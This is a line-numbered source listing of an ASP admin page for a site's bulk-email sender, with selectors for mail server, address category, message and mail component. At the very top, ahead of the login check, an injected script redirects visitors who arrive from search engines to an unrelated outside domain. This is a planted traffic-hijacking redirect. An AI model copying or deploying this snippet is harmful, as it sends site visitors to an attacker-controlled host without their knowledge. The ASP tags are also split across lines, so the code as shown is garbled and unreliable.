d:\wwwroot\wuchunhua\sendmail\mail_mailgroupsend.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc_CheckLogin.asp"-->
002:
<html>
003:
<head>
004:
<title>管理</title>
005:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
006:
<link rel="stylesheet" href="inc/style.css">
007:
<script language="javascript" src="inc/js.js"></script>
008:
<script language="javascript" src="inc/mail_groupsend.js"></script>
009:
</head>
010:
<body>
011:
<%
CheckString("212")
%
>
012:
<table width="99%" border="0" align="center" cellpadding="4" cellspacing="1" class="tablebk">
013:
<form name="Form1" action="?" method="post">
014:
<tr>
015:
<td colspan="2" class="table_titlebg">邮件群发选择</td>
016:
</tr>
017:
<tr>
018:
<td width="28%" align="right" class="table_trbg02"><strong>邮件服务器：</strong></td>
019:
<td class="table_trbg02"><select name="mailserverid">
020:
<option value="">选择邮件服务器</option>
021:
<%
set rs=conn.execute("select * from [vn_mailserver] order by orders, id desc")
022:
do while not rs.eof
%
>
023:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailserverid)
%
>>
<%
=rs("mailaddress")
%
>(
<%
=rs("mailloginname")
%
>)</option>
024:
<%
025:
rs.movenext
026:
loop
027:
rs.close:set rs=nothing
028:
%
>
029:
</select></td>
030:
</tr>
031:
<tr>
032:
<td align="right" class="table_trbg02"><strong>邮件地址分类：</strong></td>
033:
<td class="table_trbg02"><select name="mailclassid">
034:
<option value="">选择邮址分类</option>
035:
<%
set rs=conn.execute("select * from [vn_mailclass] order by orders, id desc")
036:
do while not rs.eof
%
>
037:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailclassid)
%
>>
<%
=rs("classname")
%
></option>
038:
<%
039:
rs.movenext
040:
loop
041:
rs.close:set rs=nothing
042:
%
>
043:
</select>
044:
</td>
045:
</tr>
046:
<tr>
047:
<td align="right" class="table_trbg02"><strong>邮件内容：</strong></td>
048:
<td class="table_trbg02"><select name="mailcontentid">
049:
<option value="">选择邮件内容</option>
050:
<%
set rs=conn.execute("select * from [vn_mailcontent] order by id desc")
051:
do while not rs.eof
%
>
052:
<option value="
<%
=rs("id")
%
>"
<%
=SetSelected(rs("id"),mailcontentid)
%
>>
<%
=rs("mailsubject")
%
></option>
053:
<%
054:
rs.movenext
055:
loop
056:
rs.close:set rs=nothing
057:
%
>
058:
</select>
059:
</td>
060:
</tr>
061:
<tr>
062:
<td align="right" class="table_trbg02"><strong>使用邮件组件：</strong></td>
063:
<td class="table_trbg02"><select name="mailobjectid">
064:
<option value="">选择邮件组件</option>
065:
<%
066:
if mailobjectid="1" then selectedstate=" selected" else selectedstate=""
067:
if IsObjInstalled("JMail.Message") or IsObjInstalled("JMail.SmtpMail") then response.Write("<option value=""1"""& selectedstate &">JMail</option>")
068:
if mailobjectid="2" then selectedstate=" selected" else selectedstate=""
069:
if IsObjInstalled("CDONTS.NewMail") then response.Write("<option value=""2"""& selectedstate &">CDONTS</option>")
070:
if mailobjectid="3" then selectedstate=" selected" else selectedstate=""
071:
if IsObjInstalled("Persits.MailSender") then response.Write("<option value=""3"""& selectedstate &">ASPemail</option>")
072:
%
>
073:
</select> 自动列出当前系统支持的组件
074:
</td>
075:
</tr>
076:
<tr>
077:
<td height="40" colspan="2" align="center" class="table_trbg02"><input type="button" name="Submit1" value=" 执行 " onClick="javascript:SetMailSendState(mailserverid.value,mailclassid.value,mailcontentid.value,mailobjectid.value)"> </td>
078:
</tr>
079:
</form>
080:
</table>
081:
<div id="SendStateContent" style="DISPLAY:none; Z-INDEX:1001; POSITION:absolute; background-color:#FFFFFF;">
082:
<table height="100%" width="100%" border=0 cellpadding=0 cellspacing=0>
083:
<tr>
084:
<td>
085:
<table bgcolor="#FFFFFF" height="150" width="300" align="center" style="border:1px solid #000000" cellpadding=3 cellspacing=0 border=0>
086:
<tr>
087:
<td height="24" style="font-size:14px;background-color:#999999;color:#ffffff;font-weight:bold"> 信 息 提 示</td>
088:
</tr>
089:
<tr>
090:
<td align="center" valign="middle" id="div_content">
091:
正在发送邮件...，请不要点其他链接或刷新<br><br>
092:
合计总数量：<span id="total_allnum">0</span> 条，发送成功：<span id="succeed_allnum">0</span> 条，发送失败：<span id="failing_allnum">0</span> 条
093:
094:
</td>
095:
</tr>
096:
<tr height='40'>
097:
<td align='center' id="div_button"><input id='div_btnOK' name="div_btnOK" type=button value=' 中止发送 ' onClick="javascript:window.location='?';"></td>
098:
</tr>
099:
</table>
100:
</td>
101:
</tr>
102:
</table>
103:
</div>
104:
<%
105:
mailhistoryid=request.QueryString("mailhistoryid")
106:
if isInteger(mailhistoryid) then
107:
set rs=conn.execute("select top 1 * from [vn_mailhistory] where id="& mailhistoryid &"")
108:
if not rs.eof then
109:
sendtime=rs("sendtime")
110:
classid=rs("classid")
111:
mailcontentid=rs("mailcontentid")
112:
mailserverid=rs("mailserverid")
113:
mailobjectid=rs("mailobjectid")
114:
last_mailid=rs("last_mailid")
115:
sendstate=rs("sendstate")
116:
totalnum=rs("totalnum")
117:
succeednum=rs("succeednum")
118:
failingnum=rs("failingnum")
119:
end if
120:
rs.close:set rs=nothing
121:
end if
122:
123:
if isInteger(classid) and isInteger(mailcontentid) and isInteger(mailserverid) and sendstate="0" then
%
>
124:
<script language="javascript">
125:
sendnum_all=
<%
=totalnum
%
>;
126:
succeednum_all=
<%
=succeednum
%
>;
127:
failingnum_all=
<%
=failingnum
%
>;
128:
SetContinueSend(
<%
=mailserverid
%
>,
<%
=classid
%
>,
<%
=mailcontentid
%
>,
<%
=mailobjectid
%
>,
<%
=last_mailid
%
>,
<%
=mailhistoryid
%
>);</script>
129:
<%
end if
%
>
130:
</body>
131:
</html>
132:
133: